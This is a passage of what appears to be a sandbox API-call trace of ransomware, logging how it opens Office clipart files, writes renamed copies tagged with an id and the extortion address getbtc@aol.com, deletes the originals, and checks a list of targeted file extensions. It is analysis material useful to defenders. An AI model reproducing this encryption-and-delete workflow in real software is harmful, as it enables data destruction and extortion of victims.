Office\\CLIPART\\PUB60COR\\FD00074_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0249.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.562] lstrlenW (lpString=".doc") returned 4 [0249.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.562] lstrlenW (lpString=".docx") returned 5 [0249.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.562] lstrlenW (lpString=".pdf") returned 4 [0249.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.562] lstrlenW (lpString=".xls") returned 4 [0249.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.562] lstrlenW (lpString=".xlsx") returned 5 [0249.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.562] lstrlenW (lpString=".ppt") returned 4 [0249.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.562] lstrlenW (lpString=".zip") returned 4 [0249.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.562] lstrlenW (lpString=".rar") returned 4 [0249.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.562] lstrlenW (lpString=".bz2") returned 4 [0249.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.562] lstrlenW (lpString=".7z") returned 3 [0249.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.562] lstrlenW (lpString=".dbf") returned 4 [0249.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.563] lstrlenW (lpString=".1cd") returned 4 [0249.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.563] lstrlenW (lpString=".jpg") returned 4 [0249.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.563] lstrlenW (lpString=".doc") returned 4 [0249.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString=".docx") returned 5 [0249.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.563] lstrlenW (lpString=".pdf") returned 4 [0249.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString=".xls") returned 4 [0249.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.563] lstrlenW (lpString=".xlsx") returned 5 [0249.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.563] lstrlenW (lpString=".ppt") returned 4 [0249.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.563] lstrlenW (lpString=".zip") returned 4 [0249.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.563] lstrlenW (lpString=".rar") returned 4 [0249.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString=".bz2") returned 4 [0249.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString=".7z") returned 3 [0249.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.563] lstrlenW (lpString=".dbf") returned 4 [0249.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.564] lstrlenW (lpString=".1cd") returned 4 [0249.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 63 [0249.564] lstrlenW (lpString=".jpg") returned 4 [0249.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.564] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.564] lstrlenW (lpString="FD00306_.WMF") returned 12 [0249.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.649] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=46814) returned 1 [0249.649] CloseHandle (hObject=0x204) returned 1 [0249.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0249.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.656] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.656] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.657] GetLastError () returned 0x0 [0249.657] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xb6de, lpOverlapped=0x0) returned 1 [0249.673] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xb6e0, lpOverlapped=0x0) returned 1 [0249.674] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.674] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.674] SetEndOfFile (hFile=0x3a8) returned 1 [0249.674] CloseHandle (hObject=0x3a8) returned 1 [0249.674] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.674] SetEndOfFile (hFile=0x398) returned 1 [0249.677] CloseHandle (hObject=0x398) returned 1 [0249.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0249.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.678] lstrlenW (lpString=".doc") returned 4 [0249.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.678] lstrlenW (lpString=".docx") returned 5 [0249.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.678] lstrlenW (lpString=".pdf") returned 4 [0249.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.678] lstrlenW (lpString=".xls") returned 4 [0249.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.678] lstrlenW (lpString=".xlsx") returned 5 [0249.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.678] lstrlenW (lpString=".ppt") returned 4 [0249.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.678] lstrlenW (lpString=".zip") returned 4 [0249.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.678] lstrlenW (lpString=".rar") returned 4 [0249.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.678] lstrlenW (lpString=".bz2") returned 4 [0249.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.678] lstrlenW (lpString=".7z") returned 3 [0249.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.678] lstrlenW (lpString=".dbf") returned 4 [0249.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.679] lstrlenW (lpString=".1cd") returned 4 [0249.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.679] lstrlenW (lpString=".jpg") returned 4 [0249.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.679] lstrlenW (lpString=".doc") returned 4 [0249.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString=".docx") returned 5 [0249.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.679] lstrlenW (lpString=".pdf") returned 4 [0249.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString=".xls") returned 4 [0249.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.679] lstrlenW (lpString=".xlsx") returned 5 [0249.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.679] lstrlenW (lpString=".ppt") returned 4 [0249.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.679] lstrlenW (lpString=".zip") returned 4 [0249.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.679] lstrlenW (lpString=".rar") returned 4 [0249.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString=".bz2") returned 4 [0249.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString=".7z") returned 3 [0249.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.679] lstrlenW (lpString=".dbf") returned 4 [0249.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.679] lstrlenW (lpString=".1cd") returned 4 [0249.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 63 [0249.680] lstrlenW (lpString=".jpg") returned 4 [0249.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.680] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.680] lstrlenW (lpString="FD00382_.WMF") returned 12 [0249.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.680] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=8424) returned 1 [0249.680] CloseHandle (hObject=0x398) returned 1 [0249.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0249.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.681] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.681] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.682] GetLastError () returned 0x0 [0249.682] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x20e8, lpOverlapped=0x0) returned 1 [0249.702] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x20f0, lpOverlapped=0x0) returned 1 [0249.703] ReadFile (in: hFile=0x398, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.703] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.703] SetEndOfFile (hFile=0x3a8) returned 1 [0249.703] CloseHandle (hObject=0x3a8) returned 1 [0249.703] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.704] SetEndOfFile (hFile=0x398) returned 1 [0249.707] CloseHandle (hObject=0x398) returned 1 [0249.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0249.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.708] lstrlenW (lpString=".doc") returned 4 [0249.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.708] lstrlenW (lpString=".docx") returned 5 [0249.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.708] lstrlenW (lpString=".pdf") returned 4 [0249.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.708] lstrlenW (lpString=".xls") returned 4 [0249.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.708] lstrlenW (lpString=".xlsx") returned 5 [0249.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.708] lstrlenW (lpString=".ppt") returned 4 [0249.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.708] lstrlenW (lpString=".zip") returned 4 [0249.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.708] lstrlenW (lpString=".rar") returned 4 [0249.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.708] lstrlenW (lpString=".bz2") returned 4 [0249.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString=".7z") returned 3 [0249.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.709] lstrlenW (lpString=".dbf") returned 4 [0249.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.709] lstrlenW (lpString=".1cd") returned 4 [0249.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.709] lstrlenW (lpString=".jpg") returned 4 [0249.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.709] lstrlenW (lpString=".doc") returned 4 [0249.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString=".docx") returned 5 [0249.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.709] lstrlenW (lpString=".pdf") returned 4 [0249.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString=".xls") returned 4 [0249.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.709] lstrlenW (lpString=".xlsx") returned 5 [0249.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.709] lstrlenW (lpString=".ppt") returned 4 [0249.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.709] lstrlenW (lpString=".zip") returned 4 [0249.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.709] lstrlenW (lpString=".rar") returned 4 [0249.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString=".bz2") returned 4 [0249.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.709] lstrlenW (lpString=".7z") returned 3 [0249.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.709] lstrlenW (lpString=".dbf") returned 4 [0249.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.710] lstrlenW (lpString=".1cd") returned 4 [0249.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0249.710] lstrlenW (lpString=".jpg") returned 4 [0249.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.710] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.710] lstrlenW (lpString="FD00414_.WMF") returned 12 [0249.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.799] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=11002) returned 1 [0249.800] CloseHandle (hObject=0x3b0) returned 1 [0249.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0249.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0249.850] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.850] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.850] GetLastError () returned 0x0 [0249.850] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2afa, lpOverlapped=0x0) returned 1 [0249.864] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2b00, lpOverlapped=0x0) returned 1 [0249.865] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.865] WriteFile (in: hFile=0x360, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.865] SetEndOfFile (hFile=0x360) returned 1 [0249.865] CloseHandle (hObject=0x360) returned 1 [0249.865] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.865] SetEndOfFile (hFile=0x324) returned 1 [0249.867] CloseHandle (hObject=0x324) returned 1 [0249.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0249.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0249.868] lstrlenW (lpString=".doc") returned 4 [0249.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.868] lstrlenW (lpString=".docx") returned 5 [0249.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 